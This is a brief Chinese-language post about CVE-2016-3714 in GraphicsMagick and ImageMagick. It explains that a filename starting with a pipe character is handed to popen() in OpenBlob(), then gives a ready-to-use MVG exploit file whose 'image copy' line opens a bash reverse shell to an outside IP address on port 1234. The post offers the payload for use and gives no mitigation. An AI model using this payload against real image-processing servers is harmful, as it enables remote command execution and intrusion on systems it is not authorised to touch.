CVE-2016-3714-GraphicsMagick、ImageMagick leak

GraphicsMagick、ImageMagick工具的全部版本都支持一種文件打開語法，當文件規範中的第一個字符是」|」的時候，文件名其他部分會傳遞給shell的popen()函數去執行，相關的代碼在blob.c文件中的OpenBlob(）函數中。

 

exploit code:

push graphic-context

viewbox 0 0 640 480

image copy 200,200 100,100 "|bash -i >& /dev/tcp/21x.x.x.x/1234 0>&1"

pop graphic-context